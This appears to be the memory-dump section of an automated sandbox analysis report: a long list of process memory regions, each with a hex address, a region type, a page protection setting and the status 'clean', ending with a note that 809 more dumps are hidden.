2C2000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
10022000
unkown
page execute and read and write
 clean
534000
heap private
page read and write
 clean
1FB0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
27DE000
unkown
page read and write
 clean
208F000
unkown
page read and write
 clean
60D000
heap default
page read and write
 clean
100000
unkown
page read and write
 clean
2D9000
heap default
page read and write
 clean
7FF00290000
unkown
page read and write
 clean
358C000
unkown
page read and write
 clean
2AC000
stack
page read and write
 clean
450000
unkown
page read and write
 clean
230000
unkown
page execute and read and write
 clean
304000
heap default
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
31F2000
unkown
page read and write
 clean
274D000
unkown
page read and write
 clean
1B55D000
unkown
page read and write
 clean
2A80000
heap private
page execute and read and write
 clean
5F4000
heap default
page read and write
 clean
49E000
stack
page read and write
 clean
643000
unkown
page read and write
 clean
2DA000
heap default
page read and write
 clean
260000
heap default
page read and write
 clean
514000
heap default
page read and write
 clean
1FB0000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
1D0000
unkown
page readonly
 clean
90000
unkown
page readonly
 clean
12C91000
unkown
page read and write
 clean
7FF00280000
unkown
page execute and read and write
 clean
150000
unkown
page execute and read and write
 clean
6DE000
stack
page read and write
 clean
540000
unkown
page readonly
 clean
1CD4000
heap private
page read and write
 clean
2DCE000
unkown
page read and write
 clean
3E7000
heap default
page read and write
 clean
250000
unkown
page readonly
 clean
1B360000
unkown
page read and write
 clean
2D4E000
unkown
page read and write
 clean
3B0000
heap private
page read and write
 clean
29A000
stack
page read and write
 clean
890000
heap default
page read and write
 clean
630000
unkown
page readonly
 clean
7FF001F0000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
1CD7000
unkown
page readonly
 clean
296F000
unkown
page read and write
 clean
F0000
unkown
page write copy
 clean
604000
heap default
page read and write
 clean
12F42000
unkown
page read and write
 clean
140000
unkown
page read and write
 clean
2520000
unkown
page readonly
 clean
1FB0000
unkown
page read and write
 clean
1D2000
unkown
page execute and read and write
 clean
287000
heap default
page read and write
 clean
460000
heap private
page read and write
 clean
E0000
unkown
page read and write
 clean
3C0A000
unkown
page read and write
 clean
260000
unkown
page read and write
 clean
2A30000
unkown
page readonly
 clean
1B980000
unkown
page readonly
 clean
330000
unkown
page readonly
 clean
8FD000
heap default
page read and write
 clean
68E000
stack
page read and write
 clean
382000
unkown
page read and write
 clean
430000
heap default
page read and write
 clean
5C4000
heap default
page read and write
 clean
3A0000
unkown
page execute and read and write
 clean
2A0000
unkown
page readonly
 clean
338000
heap default
page read and write
 clean
2340000
unkown
page read and write
 clean
4B0000
heap private
page read and write
 clean
284000
heap default
page read and write
 clean
1B4CA000
unkown
page read and write
 clean
311000
heap default
page read and write
 clean
1E0000
unkown
page execute and read and write
 clean
6F0000
unkown
page readonly
 clean
212000
unkown
page execute and read and write
 clean
1FB0000
unkown
page read and write
 clean
1C860000
heap private
page read and write
 clean
59D000
heap default
page read and write
 clean
6F0000
unkown
page readonly
 clean
1FB0000
unkown
page read and write
 clean
1DB000
unkown
page read and write
 clean
73C000
unkown
page read and write
 clean
1AC000
unkown
page read and write
 clean
2160000
heap private
page read and write
 clean
417000
heap default
page read and write
 clean
90000
unkown
page readonly
 clean
1C0000
unkown
page readonly
 clean
380000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
1FB0000
unkown
page read and write
 clean
6D0000
unkown
page readonly
 clean
D0000
unkown
page readonly
 clean
D0000
unkown
page readonly
 clean
3D0000
unkown
page readonly
 clean
4D2000
heap private
page read and write
 clean
10000000
unkown image
page readonly
 clean
1B0000
heap private
page read and write
 clean
22AE000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
3080000
unkown
page readonly
 clean
610000
heap private
page read and write
 clean
4F0000
heap default
page read and write
 clean
3E0000
heap private
page read and write
 clean
160000
unkown
page readonly
 clean
2BC000
stack
page read and write
 clean
2340000
heap private
page read and write
 clean
20000
unkown
page readonly
 clean
10020000
unkown
page execute and read and write
 clean
27FD000
unkown
page read and write
 clean
2DDE000
unkown
page read and write
 clean
1CD0000
heap private
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
3517000
unkown
page read and write
 clean
1FB0000
unkown
page read and write
 clean
180000
unkown
page execute and read and write
 clean
2DEE000
unkown
page read and write
 clean
1B95A000
unkown
page read and write
 clean
1B3EE000
unkown
page read and write
 clean
262000
unkown
page execute and read and write
 clean
36B2000
unkown
page read and write
 clean
2CCE000
unkown
page read and write
 clean
E20000
heap private
page read and write
 clean
90000
unkown
page readonly
 clean
657000
unkown
page read and write
 clean
250000
unkown
page readonly
 clean
64B000
unkown
page read and write
 clean
18C000
unkown
page read and write
 clean
1E2000
unkown
page execute and read and write
 clean
2A90000
heap private
page read and write
 clean
3BE6000
unkown
page read and write
 clean
1B6000
unkown
page read and write
 clean
29D000
heap default
page read and write
 clean
360000
unkown
page readonly
 clean
4B0000
heap private
page read and write
 clean
1C80000
unkown
page readonly
 clean
286E000
stack
page read and write
 clean
655000
unkown
page read and write
 clean
5E7000
heap default
page read and write
 clean
10022000
unkown
page execute and read and write
 clean
C00000
unkown
page write copy
 clean
2400000
unkown
page readonly
 clean
35B8000
unkown
page read and write
 clean
2260000
heap private
page read and write
 clean
BC0000
heap private
page read and write
 clean
3B0000
unkown
page read and write
 clean
7FF00180000
unkown
page read and write
 clean
360000
heap default
page read and write
 clean
130000
unkown
page execute and read and write
 clean
240000
unkown
page readonly
 clean
1FB0000
unkown
page read and write
 clean
4CE000
stack
page read and write
 clean
2740000
unkown
page read and write
 clean
870000
unkown
page readonly
 clean
222000
unkown
page execute and read and write
 clean
2880000
unkown
page readonly
 clean
1CE0000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
358F000
unkown
page read and write
 clean
7FF00270000
unkown
page execute and read and write
 clean
D0000
unkown
page readonly
 clean
267000
heap default
page read and write
 clean
334000
heap default
page read and write
 clean
404000
heap default
page read and write
 clean
31CD000
unkown
page read and write
 clean
186000
unkown
page read and write
 clean
4F7000
heap default
page read and write
 clean
2CBC000
unkown
page read and write
 clean
1FB0000
unkown
page read and write
 clean
2FB0000
heap private
page read and write
 clean
320F000
unkown
page read and write
 clean
617000
heap default
page read and write
 clean
2470000
unkown
page readonly
 clean
E0000
unkown
page read and write
 clean
250000
unkown
page read and write
 clean
68E000
unkown
page read and write
 clean
560000
heap default
page read and write
 clean
28A0000
unkown
page readonly
 clean
3D6000
unkown
page read and write
 clean
510000
unkown
page readonly
 clean
2AC0000
unkown
page read and write
 clean
2E8000
heap default
page read and write
 clean
1C9AE000
unkown
page read and write
 clean
3AD000
stack
page read and write
 clean
68B000
unkown
page read and write
 clean
232000
unkown
page execute and read and write
 clean
6F0000
unkown
page readonly
 clean
630000
heap default
page read and write
 clean
3C0000
unkown
page readonly
 clean
150000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
3B2000
heap private
page read and write
 clean
1FF7000
unkown
page readonly
 clean
584000
heap default
page read and write
 clean
28A7000
unkown
page readonly
 clean
2B8000
heap private
page read and write
 clean
870000
unkown
page readonly
 clean
26E0000
heap private
page read and write
 clean
1FB0000
unkown
page read and write
 clean
35B2000
unkown
page read and write
 clean
2350000
heap private
page read and write
 clean
564000
heap private
page read and write
 clean
2030000
unkown
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
278E000
unkown
page read and write
 clean
3E0000
heap default
page read and write
 clean
4EF000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
60000
unkown
page readonly
 clean
10022000
unkown
page execute and read and write
 clean
5E0000
heap private
page read and write
 clean
68A000
unkown
page read and write
 clean
212000
unkown
page execute and read and write
 clean
430000
heap default
page read and write
 clean
100000
unkown
page read and write
 clean
23B0000
unkown
page readonly
 clean
1EC0000
unkown
page write copy
 clean
3206000
unkown
page read and write
 clean
C80000
heap private
page read and write
 clean
2B0000
heap private
page read and write
 clean
5DE000
heap default
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
90000
unkown
page readonly
 clean
7FF001D0000
unkown
page read and write
 clean
1CB40000
heap private
page read and write
 clean
29A000
stack
page read and write
 clean
21F0000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
443000
heap default
page read and write
 clean
22B0000
unkown
page write copy
 clean
880000
heap default
page read and write
 clean
2510000
unkown
page readonly
 clean
1C00000
unkown
page readonly
 clean
2BFC000
unkown
page read and write
 clean
7FF00200000
unkown
page execute and read and write
 clean
10000000
unkown image
page readonly
 clean
7FF00210000
unkown
page read and write
 clean
657000
unkown
page read and write
 clean
28AC000
unkown
page read and write
 clean
2B0000
heap default
page read and write
 clean
1B0000
unkown
page execute and read and write
 clean
1B9B0000
unkown
page read and write
 clean
18C000
unkown
page read and write
 clean
20CD000
stack
page read and write
 clean
1FB0000
unkown
page read and write
 clean
170000
unkown
page execute and read and write
 clean
7FF001A0000
unkown
page execute and read and write
 clean
B80000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
1FB0000
unkown
page read and write
 clean
1FB0000
unkown
page read and write
 clean
1B9B0000
unkown
page read and write
 clean
8B4000
heap default
page read and write
 clean
1F0000
unkown
page execute and read and write
 clean
1BA7E000
unkown
page read and write
 clean
2C00000
heap private
page read and write
 clean
7FF00220000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
35E1000
unkown
page read and write
 clean
30B000
heap default
page read and write
 clean
190000
heap default
page read and write
 clean
2300000
heap private
page read and write
 clean
45F000
stack
page read and write
 clean
1FB0000
unkown
page read and write
 clean
468000
heap private
page read and write
 clean
1FB0000
unkown
page read and write
 clean
27CD000
unkown
page read and write
 clean
6F0000
unkown
page readonly
 clean
607000
heap default
page read and write
 clean
86E000
unkown
page read and write
 clean
12CBC000
unkown
page read and write
 clean
1CA0000
unkown
page read and write
 clean
1B954000
unkown
page read and write
 clean
1F0000
heap private
page read and write
 clean
2D0000
heap default
page read and write
 clean
1FB0000
unkown
page read and write
 clean
669000
unkown
page read and write
 clean
923000
heap default
page read and write
 clean
CB000
unkown
page read and write
 clean
490000
heap default
page read and write
 clean
1D80000
unkown
page readonly
 clean
570000
unkown
page readonly
 clean
23B000
unkown
page read and write
 clean
3C38000
unkown
page read and write
 clean
2C8E000
unkown
page read and write | page guard
 clean
2277000
unkown
page readonly
 clean
160000
unkown
page readonly
 clean
8A4000
heap default
page read and write
 clean
284000
heap default
page read and write
 clean
376000
unkown
page read and write
 clean
2160000
heap private
page read and write
 clean
570000
unkown
page readonly
 clean
3490000
unkown
page read and write
 clean
E0000
unkown
page readonly
 clean
520000
heap default
page read and write
 clean
1FF7000
unkown
page readonly
 clean
2C5C000
unkown
page read and write
 clean
340000
heap default
page read and write
 clean
29ED000
unkown
page read and write
 clean
B8F000
stack
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
27D0000
unkown
page readonly
 clean
20000
unkown
page readonly
 clean
8E4000
heap default
page read and write
 clean
690000
heap private
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
1FB0000
unkown
page read and write
 clean
364B000
unkown
page read and write
 clean
2BE000
heap default
page read and write
 clean
4CD000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
3D0000
unkown
page readonly
 clean
28EE000
unkown
page read and write
 clean
82F000
stack
page read and write
 clean
25FE000
unkown
page read and write
 clean
297000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
210000
unkown
page execute and read and write
 clean
2BBE000
stack
page read and write
 clean
21F0000
unkown
page readonly
 clean
690000
unkown
page readonly
 clean
4A0000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
870000
unkown
page readonly
 clean
530000
heap private
page read and write
 clean
B00000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
2220000
heap private
page read and write
 clean
2C0000
heap private
page read and write
 clean
2CD0000
unkown
page write copy
 clean
64C000
unkown
page read and write
 clean
527000
heap default
page read and write
 clean
2970000
unkown
page write copy
 clean
2720000
unkown
page readonly
 clean
1A0000
heap private
page read and write
 clean
4F0000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
10022000
unkown
page execute and read and write
 clean
6F0000
unkown
page readonly
 clean
1FB0000
unkown
page read and write
 clean
2F0000
heap default
page read and write
 clean
28AC000
unkown
page readonly
 clean
D0000
unkown
page readonly
 clean
25C000
stack
page read and write
 clean
7A0000
heap private
page read and write
 clean
1FB0000
unkown
page read and write
 clean
234D000
stack
page read and write
 clean
26E4000
heap private
page read and write
 clean
2D2E000
unkown
page read and write
 clean
6C0000
unkown
page readonly
 clean
2030000
unkown
page readonly
 clean
5E0000
unkown
page readonly
 clean
2A4A000
heap private
page execute and read and write
 clean
6F0000
unkown
page readonly
 clean
25E0000
unkown
page read and write
 clean
90000
heap default
page read and write
 clean
2BEE000
stack
page read and write
 clean
2A3E000
unkown
page read and write
 clean
12C95000
unkown
page read and write
 clean
870000
unkown
page readonly
 clean
D0000
unkown
page read and write
 clean
1E0000
unkown
page readonly
 clean
1CB53000
heap private
page read and write
 clean
110000
unkown
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
300000
heap default
page read and write
 clean
10022000
unkown
page execute and read and write
 clean
690000
heap private
page read and write
 clean
160000
unkown
page readonly
 clean
3A0000
unkown
page read and write
 clean
500000
unkown
page readonly
 clean
6F0000
unkown
page readonly
 clean
7FF00115000
unkown
page read and write
 clean
2CF000
stack
page read and write
 clean
2E0000
heap private
page read and write
 clean
1B460000
unkown
page readonly
 clean
7FF002A0000
unkown
page execute and read and write
 clean
2582000
heap private
page read and write
 clean
480000
heap private
page read and write
 clean
7FF00250000
unkown
page execute and read and write
 clean
2CC6000
unkown
page read and write
 clean
1FB0000
unkown
page read and write
 clean
8F7000
heap default
page read and write
 clean
52D000
heap default
page read and write
 clean
24AF000
unkown
page read and write
 clean
10022000
unkown
page execute and read and write
 clean
7FF00142000
unkown
page execute and read and write
 clean
2D4E000
unkown
page read and write
 clean
4DD000
heap default
page read and write
 clean
207F000
unkown
page read and write
 clean
D0000
unkown
page readonly
 clean
7FF001C0000
unkown
page execute and read and write
 clean
685000
unkown
page read and write
 clean
1B850000
unkown
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
21E0000
unkown
page readonly
 clean
50D000
heap default
page read and write
 clean
3ADA000
unkown
page read and write
 clean
1AC000
stack
page read and write
 clean
359F000
unkown
page read and write
 clean
15B000
unkown
page read and write
 clean
10022000
unkown
page execute and read and write
 clean
4A7000
heap default
page read and write
 clean
7FF00240000
unkown
page read and write
 clean
25B000
unkown
page read and write
 clean
1BAA0000
heap private
page read and write
 clean
2C91000
unkown
page read and write
 clean
300000
heap default
page read and write
 clean
180000
heap private
page read and write
 clean
20000
heap private
page read and write
 clean
22B000
unkown
page read and write
 clean
916000
heap default
page read and write
 clean
680000
unkown
page readonly
 clean
6F0000
unkown
page readonly
 clean
460000
unkown
page readonly
 clean
35BB000
unkown
page read and write
 clean
2E8000
heap private
page read and write
 clean
6F0000
unkown
page readonly
 clean
2170000
unkown
page readonly
 clean
2380000
unkown
page readonly
 clean
1AF0000
unkown
page readonly
 clean
210000
unkown
page execute and read and write
 clean
8C7000
heap default
page read and write
 clean
1F30000
heap private
page read and write
 clean
9C0000
unkown
page readonly
 clean
2230000
unkown
page readonly
 clean
540000
heap default
page read and write
 clean
1CC0000
unkown
page readonly
 clean
2E0000
heap default
page read and write
 clean
E0000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
1D16000
unkown
page read and write
 clean
5F0000
unkown
page readonly
 clean
130000
unkown
page execute and read and write
 clean
8E0000
heap default
page read and write
 clean
130000
unkown
page execute and read and write
 clean
6DE000
stack
page read and write
 clean
20000
heap private
page read and write
 clean
1F70000
unkown
page readonly
 clean
280000
unkown
page readonly
 clean
8F6000
heap default
page read and write
 clean
2BF0000
unkown
page readonly
 clean
220000
unkown
page execute and read and write
 clean
230000
unkown
page readonly
 clean
3E0000
heap default
page read and write
 clean
2CF4000
unkown
page read and write
 clean
4C4000
heap default
page read and write
 clean
360000
heap private
page read and write
 clean
24B0000
unkown
page readonly
 clean
10020000
unkown
page execute and read and write
 clean
26CE000
unkown
page read and write
 clean
2C1E000
unkown
page read and write
 clean
2D0000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
1D90000
unkown
page readonly
 clean
2130000
unkown
page readonly
 clean
597000
heap default
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
2DE000
heap default
page read and write
 clean
2C90000
unkown
page readonly
 clean
4D4000
heap private
page read and write
 clean
400000
heap default
page read and write
 clean
340000
unkown
page read and write
 clean
33DB000
unkown
page read and write
 clean
30D000
heap default
page read and write
 clean
2120000
heap private
page read and write
 clean
470000
unkown
page readonly
 clean
530000
heap private
page read and write
 clean
5B0000
heap default
page read and write
 clean
2C8E000
unkown
page read and write
 clean
2C04000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
F0000
unkown
page write copy
 clean
2C6D000
stack
page read and write
 clean
1D9F000
unkown
page read and write
 clean
1FF7000
unkown
page readonly
 clean
6BE000
stack
page read and write
 clean
28CB000
unkown
page readonly
 clean
646000
unkown
page read and write
 clean
219B000
heap private
page read and write
 clean
2EE000
stack
page read and write
 clean
2610000
unkown
page readonly
 clean
3040000
heap private
page read and write
 clean
267000
heap default
page read and write
 clean
10022000
unkown
page execute and read and write
 clean
2217000
unkown
page readonly
 clean
2500000
unkown
page readonly
 clean
29D000
heap default
page read and write
 clean
1E10000
unkown
page readonly
 clean
4D7000
heap default
page read and write
 clean
D0000
unkown
page readonly
 clean
260000
heap default
page read and write
 clean
2B0000
heap default
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
21FE000
stack
page read and write
 clean
260000
unkown
page execute and read and write
 clean
1BC2D000
unkown
page read and write
 clean
7FF0004A000
unkown
page execute and read and write
 clean
14B000
unkown
page read and write
 clean
31B000
heap default
page read and write
 clean
3F4000
heap default
page read and write
 clean
660000
unkown
page readonly
 clean
1FB0000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
160000
unkown
page readonly
 clean
2652000
heap private
page read and write
 clean
20000
unkown
page readonly
 clean
400000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
278E000
unkown
page read and write
 clean
35A2000
unkown
page read and write
 clean
28F0000
heap private
page read and write
 clean
140000
unkown
page read and write
 clean
120000
unkown
page readonly
 clean
18C000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
7FF00100000
unkown
page read and write
 clean
329000
heap default
page read and write
 clean
1C9F000
unkown
page read and write
 clean
35C8000
unkown
page read and write
 clean
78E000
unkown
page read and write
 clean
200000
heap private
page read and write
 clean
5E0000
heap default
page read and write
 clean
170000
heap private
page read and write
 clean
C88000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
27C000
stack
page read and write
 clean
567000
heap default
page read and write
 clean
640000
unkown
page readonly
 clean
1FB0000
unkown
page read and write
 clean
2FC000
heap default
page read and write
 clean
8C0000
heap default
page read and write
 clean
1B0000
unkown
page execute and read and write
 clean
10000000
unkown image
page readonly
 clean
2AE000
unkown
page read and write
 clean
7FF002C0000
unkown
page execute and read and write
 clean
560000
heap private
page read and write
 clean
3268000
unkown
page read and write
 clean
936000
heap default
page read and write
 clean
26FF000
stack
page read and write
 clean
4F4000
heap private
page read and write
 clean
61D000
heap default
page read and write
 clean
60000
unkown
page readonly
 clean
7FF00110000
unkown
page read and write
 clean
2DBF000
stack
page read and write
 clean
3B0000
unkown
page readonly
 clean
210000
unkown
page readonly
 clean
2E50000
heap private
page read and write
 clean
1E10000
unkown
page readonly
 clean
52E000
unkown
page read and write
 clean
CC000
unkown
page read and write
 clean
364F000
unkown
page read and write
 clean
188000
heap private
page read and write
 clean
3554000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
2564000
heap private
page read and write
 clean
7FF0011A000
unkown
page execute and read and write
 clean
100000
unkown
page read and write
 clean
2F0000
unkown
page readonly
 clean
2F0000
unkown
page readonly
 clean
1E10000
unkown
page readonly
 clean
7FF00230000
unkown
page execute and read and write
 clean
320000
unkown
page readonly
 clean
35CE000
unkown
page read and write
 clean
450000
unkown
page readonly
 clean
7FF00217000
unkown
page read and write
 clean
1EF0000
unkown
page read and write
 clean
90000
unkown
page readonly
 clean
4D0000
heap private
page read and write
 clean
654000
unkown
page read and write
 clean
300000
heap default
page read and write
 clean
255C000
unkown
page read and write
 clean
2C8F000
unkown
page read and write
 clean
2066000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
1B409000
unkown
page read and write
 clean
FA0000
heap private
page read and write
 clean
2870000
unkown
page readonly
 clean
10022000
unkown
page execute and read and write
 clean
1B950000
unkown
page read and write
 clean
2560000
heap private
page read and write
 clean
8C7000
heap default
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
2094000
unkown
page read and write
 clean
2650000
unkown
page read and write
 clean
2417000
unkown
page readonly
 clean
1E10000
unkown
page readonly
 clean
8BD000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
35CB000
unkown
page read and write
 clean
7FF001E0000
unkown
page execute and read and write
 clean
3592000
unkown
page read and write
 clean
200000
unkown
page execute and read and write
 clean
297000
heap default
page read and write
 clean
10022000
unkown
page execute and read and write
 clean
140000
unkown
page read and write
 clean
2170000
unkown
page readonly
 clean
2630000
heap private
page read and write
 clean
41D000
heap default
page read and write
 clean
280000
heap default
page read and write
 clean
1FF7000
unkown
page readonly
 clean
190000
unkown
page execute and read and write
 clean
7FF00042000
unkown
page execute and read and write
 clean
210000
unkown
page execute and read and write
 clean
20000
heap private
page read and write
 clean
870000
unkown
page readonly
 clean
1A0000
unkown
page readonly
 clean
1B5000
unkown
page read and write | page guard
 clean
10000000
unkown image
page readonly
 clean
320000
unkown
page readonly
 clean
2D0E000
stack
page read and write
 clean
2C07000
heap private
page read and write
 clean
1EF0000
unkown
page read and write
 clean
1D0000
unkown
page execute and read and write
 clean
12E01000
unkown
page read and write
 clean
1F30000
heap private
page execute and read and write
 clean
10020000
unkown
page execute and read and write
 clean
1FB0000
unkown
page read and write
 clean
2B0000
heap private
page read and write
 clean
680000
heap private
page read and write
 clean
9C000
unkown
page read and write
 clean
2634000
heap private
page read and write
 clean
620000
heap default
page read and write
 clean
604000
heap default
page read and write
 clean
2790000
unkown
page readonly
 clean
2160000
unkown
page readonly
 clean
206D000
unkown
page read and write
 clean
212000
unkown
page execute and read and write
 clean
222000
unkown
page execute and read and write
 clean
20000
unkown
page readonly
 clean
4F0000
heap private
page read and write
 clean
140000
unkown
page read and write
 clean
2500000
unkown
page read and write
 clean
B2E000
unkown
page read and write
 clean
2D2E000
unkown
page read and write
 clean
7FF00190000
unkown
page execute and read and write
 clean
41E000
unkown
page read and write
 clean
24EE000
unkown
page read and write
 clean
1B960000
unkown
page read and write
 clean
6F0000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
870000
unkown
page readonly
 clean
2510000
unkown
page read and write
 clean
897000
heap default
page read and write
 clean
190000
heap private
page read and write
 clean
390000
heap private
page read and write
 clean
1F2000
unkown
page execute and read and write
 clean
4E0000
unkown
page read and write
 clean
C20000
heap private
page read and write
 clean
31FA000
unkown
page read and write
 clean
1FB0000
unkown
page read and write
 clean
35A5000
unkown
page read and write
 clean
13A000
stack
page read and write
 clean
2660000
unkown
page read and write
 clean
160000
unkown
page readonly
 clean
4D0000
heap default
page read and write
 clean
10020000
unkown
page execute and read and write
 clean
A10000
unkown
page readonly
 clean
130000
unkown
page execute and read and write
 clean
552000
heap private
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
2EAE000
stack
page read and write
 clean
1C77E000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
1ACF0000
unkown
page read and write
 clean
2A0000
heap default
page read and write
 clean
2060000
unkown
page readonly
 clean
7FF0005C000
unkown
page execute and read and write
 clean
240000
heap default
page read and write
 clean
2702000
heap private
page read and write
 clean
35A8000
unkown
page read and write
 clean
100000
unkown
page read and write
 clean
910000
heap default
page read and write
 clean
2130000
unkown
page readonly
 clean
8CD000
heap default
page read and write
 clean
2D30000
unkown
page write copy
 clean
3652000
unkown
page read and write
 clean
3200000
unkown
page read and write
 clean
220000
unkown
page execute and read and write
 clean
230000
heap private
page read and write
 clean
365C000
unkown
page read and write
 clean
3A2000
unkown
page execute and read and write
 clean
2A40000
heap private
page execute and read and write
 clean
5D4000
heap default
page read and write
 clean
887000
heap default
page read and write
 clean
870000
unkown
page readonly
 clean
284000
heap default
page read and write
 clean
1DE7000
unkown
page readonly
 clean
180000
unkown
page execute and read and write
 clean
7FF002B0000
unkown
page execute and read and write
 clean
2C70000
unkown
page readonly
 clean
2800000
heap private
page read and write
 clean
2165000
heap private
page read and write
 clean
2090000
unkown
page readonly
 clean
There are 809 hidden memdumps, click here to show them.